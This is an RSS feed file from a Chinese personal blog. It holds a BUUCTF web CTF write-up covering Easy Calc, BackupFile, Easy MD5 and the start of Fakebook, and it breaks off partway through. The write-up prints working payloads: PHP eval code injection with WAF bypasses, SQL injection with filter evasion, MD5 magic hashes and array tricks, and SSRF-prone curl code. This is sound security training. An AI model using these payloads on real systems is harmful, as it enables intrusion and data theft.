-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.xml
More file actions
36 lines (36 loc) · 160 KB
/
Copy pathindex.xml
File metadata and controls
36 lines (36 loc) · 160 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Hinoatari BLOG</title>
<link>https://hinoatari.github.io/</link>
<description>Hinoatari 的个人博客</description>
<generator>Hugo 0.146.5 & FixIt v0.3.18</generator>
<language>zh-CN</language>
<lastBuildDate>Wed, 23 Apr 2025 15:32:57 +0800</lastBuildDate>
<atom:link href="https://hinoatari.github.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>BUUCTF——WEB刷题记录</title>
<link>https://hinoatari.github.io/posts/buuctfweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/</link>
<pubDate>Tue, 22 Apr 2025 12:38:27 +0800</pubDate>
<guid>https://hinoatari.github.io/posts/buuctfweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/</guid>
<category domain="https://hinoatari.github.io/categories/ctf/">CTF</category>
<description><h2 id="roarctf-2019easy-calc" class="heading-element"><span>[RoarCTF 2019]Easy Calc</span>
 <a href="#roarctf-2019easy-calc" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>考点:命令执行</p>
<p><img loading="lazy" src='https://hinoatari.github.io/images/web刷题/1-1.png' alt="image-20250422124222537"></p>
<p>查看网页源码后发现存在calc.php页面,且提示存在waf</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#calc&#39;</span><span class="p">).</span><span class="nx">submit</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
</span></span><span class="line"><span class="cl"> <span class="nx">url</span><span class="o">:</span><span class="s2">&#34;calc.php?num=&#34;</span><span class="o">+</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">$</span><span class="p">(</span><span class="s2">&#34;#content&#34;</span><span class="p">).</span><span class="nx">val</span><span class="p">()),</span>
</span></span><span class="line"><span class="cl"> <span class="nx">type</span><span class="o">:</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">success</span><span class="o">:</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">$</span><span class="p">(</span><span class="s2">&#34;#result&#34;</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="sb">`&lt;div class=&#34;alert alert-success&#34;&gt;
</span></span></span><span class="line"><span class="cl"><span class="sb"> &lt;strong&gt;答案:&lt;/strong&gt;</span><span class="si">${</span><span class="nx">data</span><span class="si">}</span><span class="sb">
</span></span></span><span class="line"><span class="cl"><span class="sb"> &lt;/div&gt;`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nx">error</span><span class="o">:</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">alert</span><span class="p">(</span><span class="s2">&#34;这啥?算不来!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span></span></span></code></pre></td></tr></table>
</div>
</div><p><strong>访问calc.php:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;num&#39;</span><span class="p">])){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$str</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;num&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$blacklist</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39; &#39;</span><span class="p">,</span> <span class="s1">&#39;\t&#39;</span><span class="p">,</span> <span class="s1">&#39;\r&#39;</span><span class="p">,</span> <span class="s1">&#39;\n&#39;</span><span class="p">,</span><span class="s1">&#39;\&#39;&#39;</span><span class="p">,</span> <span class="s1">&#39;&#34;&#39;</span><span class="p">,</span> <span class="s1">&#39;`&#39;</span><span class="p">,</span> <span class="s1">&#39;\[&#39;</span><span class="p">,</span> <span class="s1">&#39;\]&#39;</span><span class="p">,</span><span class="s1">&#39;\$&#39;</span><span class="p">,</span><span class="s1">&#39;\\&#39;</span><span class="p">,</span><span class="s1">&#39;\^&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$blacklist</span> <span class="k">as</span> <span class="nv">$blackitem</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="s1">&#39;/&#39;</span> <span class="o">.</span> <span class="nv">$blackitem</span> <span class="o">.</span> <span class="s1">&#39;/m&#39;</span><span class="p">,</span> <span class="nv">$str</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">die</span><span class="p">(</span><span class="s2">&#34;what are you want to do?&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">eval</span><span class="p">(</span><span class="s1">&#39;echo &#39;</span><span class="o">.</span><span class="nv">$str</span><span class="o">.</span><span class="s1">&#39;;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p><strong>waf绕过:</strong></p>
<p>直接传入num会报错,应该是被waf过滤了,这里可以使用<strong>空格绕过waf</strong>,原理为:PHP代码处理输入参数时会将参数前后多余的空白符(空格、回车、制表符)删除,因此传入?%20num后能够绕过waf,PHP在解析时又会将?%20num当作?num。</p>
<p><strong>命令执行:</strong></p>
<p><img loading="lazy" src='https://hinoatari.github.io/images/web刷题/1-2.png' alt="https://hinoatari.github.io/images/web刷题/1-2.png"></p>
<p>查看phpinfo,发现过滤了很多执行函数,但没有过滤var_dump、scandir、file_get_contents,构造参数?%20num=var_dump(scandir(chr(47))),因为&quot;\&ldquo;被过滤了,使用chr(47)替代&rdquo;\&quot;,查看根目录信息</p>
<p><img loading="lazy" src='https://hinoatari.github.io/images/web刷题/1-3.png' alt="image-20250422125800793"></p>
<p>发现f1agg,构造参数<code>?%20num=var_dump(file_get_contents(chr(47).f1agg))</code>即可获取flag。<code>flag{9f0a644e-780d-47ff-b1b3-87f2568f3fc0} </code></p>
<p><strong>其它方法:</strong></p>
<p>参考链接:<code>https://blog.csdn.net/m0_73612768/article/details/135013881</code>,发现还有一种命令执行的方法,构造payload<code>? num=1;eval(end(pos(get_defined_vars())))&amp;nss=phpinfo();</code>,</p>
<p>get_defined_vars():返回由所有已定义变量所组成的数组,会返回 GET , POST , COOKIE, FILES 全局变量的值,返回数组顺序为 get-&gt;post-&gt;cookie-&gt;files 。</p>
<p>pos():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。</p>
<p>end():将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。</p>
<p>构造payload:<code>? num=1;eval(end(pos(get_defined_vars())))&amp;nss=include(&quot;/f1agg&quot;);</code>即可获得flag。</p>
<h2 id="actf2020-新生赛backupfile" class="heading-element"><span>[ACTF2020 新生赛]BackupFile</span>
 <a href="#actf2020-%e6%96%b0%e7%94%9f%e8%b5%9bbackupfile" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>扫网站备份文件,存在index.php.bak文件,打开后进行php代码审计</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">include_once</span> <span class="s2">&#34;flag.php&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;key&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$key</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;key&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">is_numeric</span><span class="p">(</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">exit</span><span class="p">(</span><span class="s2">&#34;Just num!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$key</span> <span class="o">=</span> <span class="nx">intval</span><span class="p">(</span><span class="nv">$key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$str</span> <span class="o">=</span> <span class="s2">&#34;123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nv">$key</span> <span class="o">==</span> <span class="nv">$str</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">echo</span> <span class="s2">&#34;Try to find out source file!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div><p>考点:php弱类型比较。在php中= =为弱比较,当整数类型和字符串类型比较时,字符串先被转换成整数类型后再与整数类型进行比较。由于$str=&quot;123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3&quot;,只需要传入123即可令$key == $str。</p>
<h2 id="bjdctf2020easy-md5" class="heading-element"><span>[BJDCTF2020]Easy MD5</span>
 <a href="#bjdctf2020easy-md5" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>burp抓包发送后发现hint: select * from &lsquo;admin&rsquo; where password=md5($pass,true)。<code>md5($pass,true)</code>的作用是返回原始二进制数的md5值。这里可以使用<code>ffifdyop</code>绕过,原理为:ffifdyop被md5加密后变成 <code>276f722736c95d99e921722cf9ed621c</code>,这个字符串前几位刚好是 <code>' or '6</code>,相当于万能密码,因此可以绕过md5()函数。</p>
<p>传入ffifdyop后进入levels91.php,发包后返回信息中有一条:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;!--</span>
</span></span><span class="line"><span class="cl"><span class="nv">$a</span> <span class="o">=</span> <span class="nv">$GET</span><span class="p">[</span><span class="s1">&#39;a&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nv">$b</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;b&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$a</span> <span class="o">!=</span> <span class="nv">$b</span> <span class="o">&amp;&amp;</span> <span class="nx">md5</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span> <span class="o">==</span> <span class="nx">md5</span><span class="p">(</span><span class="nv">$b</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// wow, glzjin wants a girl friend.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">--&gt;</span></span></span></code></pre></td></tr></table>
</div>
</div><p>典型的md5弱比较绕过,传入两个不相等但是哈希后值相等的字符串即可</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="cl"><span class="gh"># 这些字符串的md5值都是0e开头,在php弱类型比较中判断为相等
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>QNKCDZO
</span></span><span class="line"><span class="cl">240610708
</span></span><span class="line"><span class="cl">s878926199a
</span></span><span class="line"><span class="cl">s155964671a
</span></span><span class="line"><span class="cl">s214587387a
</span></span><span class="line"><span class="cl">s214587387a</span></span></code></pre></td></tr></table>
</div>
</div><p>进入下一关:levell14.php</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"> <span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">include</span> <span class="s2">&#34;flag.php&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;param1&#39;</span><span class="p">]</span><span class="o">!==</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;param2&#39;</span><span class="p">]</span><span class="o">&amp;&amp;</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;param1&#39;</span><span class="p">])</span><span class="o">===</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;param2&#39;</span><span class="p">])){</span>
</span></span><span class="line"><span class="cl"> <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> 
</span></span></code></pre></td></tr></table>
</div>
</div><p>md5强比较,用<code>param1[]=1&amp;param2[]=2</code>即可绕过。<code>flag{17b7a715-330f-4e08-9da2-702ca8d50c83}</code></p>
<h2 id="网鼎杯-2018fakebook" class="heading-element"><span>[网鼎杯 2018]Fakebook</span>
 <a href="#%e7%bd%91%e9%bc%8e%e6%9d%af-2018fakebook" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>考点:ssrf、sql注入</p>
<p>进入环境需要注册,注册并登录后发现点击用户名后可以查看该用户的博客信息,在/view.php?no=中传入不同的值可以查看不同的用户,猜测存在sql注入。构造语句1 and 1=1 &ndash;+和1 and 1=2 &ndash;+,分别传入后发现后者报错,说明存在数字型注入</p>
<p>构造order by语句发现存在4个字段</p>
<p>构造1 union select 1,2,3,4 &ndash;+传入后回显no hack,存在过滤。使用内联注入可绕过,1 union/**/select 1,2,3,4 &ndash;+</p>
<p>后面就是查表、列、字段信息,发现没有和flag相关的信息,但是存在一条php序列化后的数据:</p>
<p><img loading="lazy" src='https://hinoatari.github.io/images/web刷题/1-3.png' alt="https://hinoatari.github.io/images/web刷题/1-3.png"></p>
<p>在robots.txt中发现还有备份文件:<code>user.php.bak</code>,下载后进行代码审计</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">UserInfo</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="nv">$name</span> <span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="nv">$age</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="nv">$blog</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$age</span><span class="p">,</span> <span class="nv">$blog</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">name</span> <span class="o">=</span> <span class="nv">$name</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">age</span> <span class="o">=</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span><span class="nv">$age</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">blog</span> <span class="o">=</span> <span class="nv">$blog</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">function</span> <span class="nf">get</span><span class="p">(</span><span class="nv">$url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$ch</span> <span class="o">=</span> <span class="nx">curl_init</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$output</span> <span class="o">=</span> <span class="nx">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$httpCode</span> <span class="o">=</span> <span class="nx">curl_getinfo</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLINFO_HTTP_CODE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nv">$httpCode</span> <span class="o">==</span> <span class="mi">404</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="mi">404</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nx">curl_close</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nv">$output</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="k">function</span> <span class="nf">getBlogContents</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">blog</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">public</span> <span class="k">function</span> <span class="nf">isValidBlog</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$blog</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">blog</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">preg_match</span><span class="p">(</span><span class="s2">&#34;/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i&#34;</span><span class="p">,</span> <span class="nv">$blog</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div><p>下面的内容是核心部分,这段代码会导致ssrf漏洞,用户可控制的blog的值,且curl_setopt($ch, CURLOPT_URL, $url) 直接使用用户输入的 URL,没有任何防护,用户可通过get方法用curl发起请求。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"> <span class="k">public</span> <span class="k">function</span> <span class="nf">getBlogContents</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">blog</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
